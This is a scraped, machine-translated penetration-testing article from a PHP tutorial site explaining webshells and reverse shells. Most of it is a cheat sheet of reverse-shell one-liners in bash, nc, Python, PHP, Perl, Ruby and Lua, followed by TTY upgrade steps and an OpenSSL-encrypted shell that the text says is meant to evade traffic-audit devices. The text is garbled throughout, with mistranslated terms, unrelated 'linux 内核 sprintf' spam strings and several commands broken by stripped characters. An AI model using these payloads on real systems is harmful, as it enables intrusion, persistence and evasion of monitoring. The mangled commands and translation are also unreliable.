Heim  >  Artikel  >  System-Tutorial  >  Vertiefendes Verständnis von Shell: Analyse gängiger Substantive und Anwendungsszenarien bei der Penetration

Vertiefendes Verständnis von Shell: Analyse gängiger Substantive und Anwendungsszenarien bei der Penetration

王林
王林Original
2024-06-13 21:26:031174Durchsuche

深入了解 shell:渗透中常用名词解析及应用场景

Was sind Muscheln?

Shell ist ein häufig verwendeter Begriff in der Penetration, z. B. Getshell, Webshell, Crash Shell usw., die alle mit Shell zu tun haben.

Shell erklärt von Baidu Encyclopedia:

In der Informatik wird Shell auch Shell genannt (zur Unterscheidung vom Kern), was sich auf „die Bereitstellung einer Bedienoberfläche für Benutzer“ bezieht

face“-Software (Befehlsparser) ist ähnlich wie unter DOS und höher

cmd.exe. Es empfängt Benutzerbefehle und ruft dann die entsprechende Anwendung auf.

Einfach ausgedrückt greifen Benutzer über die Shell auf die Dienste des Betriebssystemkerns zu, dh von der Shell zum Kernel, um Systembefehle auszuführen.

getshell: Erhalten Sie die Befehlsausführungsberechtigung des Ziels

Webshell: Bezieht sich auf die Website-Seitentür

Linux-Kernel Sprintf

, die Befehle über Webdienste ausführt Dip-Shell: Übertragen Sie die Eingabe und Ausgabe der Befehlszeile auf andere Hosts

Warum sollten wir die Hülle fallen lassen

1. Beim Ausführen von Befehlen unter der Webshell erfolgt keine Interaktion. Um das Shellen oder andere Vorgänge zu erleichtern, müssen Sie die Shell öffnen.

2. Die Rebound-Shell entspricht dem Hinzufügen einer Seitentür. Wenn die Webshell erkannt und gelöscht wird, gehen die Berechtigungen nicht verloren.

Häufig verwendete Methoden zum Absturz der Shell unter Linux

Verwenden Sie den Befehl whereis, um die vom Ziel unterstützten Rückruftechniken zu ermitteln.

 whereis nc bash python php exec lua perl ruby

linux 内核 sprintf_内核sprintf_内核管理器

linux 内核 sprintf_内核sprintf_内核管理器Bash stürzt die Shell ab

Bash-Callback ist die am häufigsten verwendete Methode im tatsächlichen Kampf

nc -lvp 9999
bash -i >& /dev/tcp/ip/port 0>&1

Zerlegen Sie den Befehl und analysieren Sie ihn:

1. Bash-i bedeutet, vor Ort eine Bash zu eröffnen

2. /dev/tcp/ ist ein spezielles Gerät unter Linux. Das Öffnen dieser Datei entspricht dem Ausgeben eines Socket-Aufrufs und dem Aufbau einer Socket-Verbindung

3. Die Datei /dev/tcp/ip/port neben >& bedeutet, dass die Standardausgabe und die Standardfehlerausgabe in diese Datei umgeleitet werden, also an den Remote-VPS weitergeleitet werden.

4. Wenn der Remote-VPS den entsprechenden Port zum Abhören öffnet, erhält er die Standardausgabe und die Standardfehlerausgabe dieser Bash.

nc abgestürzte Muschel

Erfordert die Installation von nc auf dem Zielhost

nc ip port -e /bin/sh

使用其他版本的nc

nc.traditional ip port -e /bin/sh

linux 内核 sprintf_内核管理器_内核sprintf

内核sprintf_linux 内核 sprintf_内核管理器

配合命名管线进行大跌:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f

python大跌shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

首先使用socket与远程构建起联接,接出来使用到了os库的dup2方式将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方式有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关掉fd2,之后将fd1代表的那种文件强行复制给fd2linux之家,在这儿可以把fd1和fd2看作是C语言里的表针,将fd1形参给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这儿也就是构建socket联接返回的文件描述符,复印下来数值为3

0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程

接出来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

php大跌shell

linux 内核 sprintf_内核sprintf_内核管理器

须要php关掉safe_mode选项,才可以使用exec函数。

使用php的exec函数执行方式1大跌shell的命令

php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

使用php的fsockopen去大跌shell

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");'

其它大跌方式

exec大跌

0<&196;exec 196/dev/tcp/ip/port; sh &196 2>&196

perl大跌

perl -e &#039;use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};&#039;

ruby大跌

ruby -rsocket -e&#039;f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)&#039;

lua大跌

lua -e "require(&#039;socket&#039;);require(&#039;os&#039;);t=socket.tcp();t:connect(&#039;ip&#039;,&#039;port&#039;);os.execute(&#039;/bin/sh -i &3 2>&3&#039;);"

内核管理器_linux 内核 sprintf_内核sprintf

获取一个完全交互shell

通过上述命令大跌shell得到的shell并不能称为完全交互的shell,一般称之为'哑'shell。

一般存在以下缺点

因而有必要去获取一个完全交互的shell。

1、在shell中执行python,使用pty模块,创建一个原生的终端,命令如下:

python -c &#039;import pty; pty.spawn("/bin/bash")&#039;

隐藏

运行完后

2、键入Ctrl-Z暂停任务,切回到VPS的命令行中;在VPS中执行:

stty raw -echo 
fg #将后台运行或挂起的任务切换到前台运行

内核管理器_内核sprintf_linux 内核 sprintf

3、在shell中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104

内核管理器_内核sprintf_linux 内核 sprintf

内核sprintf_linux 内核 sprintf_内核管理器

SSL流量加密

部份防护设备会对内外网传输流量进行审查,大跌shell执行命令都是以明文进行传输的linux 内核 sprintflinux 命令,很容易被查杀。

因而须要将原始流量使用openssl加密,绕开流量审计设备。

1、首先vps上生成SSL证书的私钥/公钥对,信息懒得填,仍然回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

linux 内核 sprintf_内核sprintf_内核管理器

2、vps使用OpenSSL窃听一个端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

内核sprintf_linux 内核 sprintf_内核管理器

3、目标主机执行回调加密shell

mkfifo /tmp/s; /bin/bash -i &1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

内核sprintf_linux 内核 sprintf_内核管理器

大跌成功,成功接收到ssl流量加密的shell。

内核管理器_内核sprintf_linux 内核 sprintf

Referenzlink

Das obige ist der detaillierte Inhalt vonVertiefendes Verständnis von Shell: Analyse gängiger Substantive und Anwendungsszenarien bei der Penetration. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn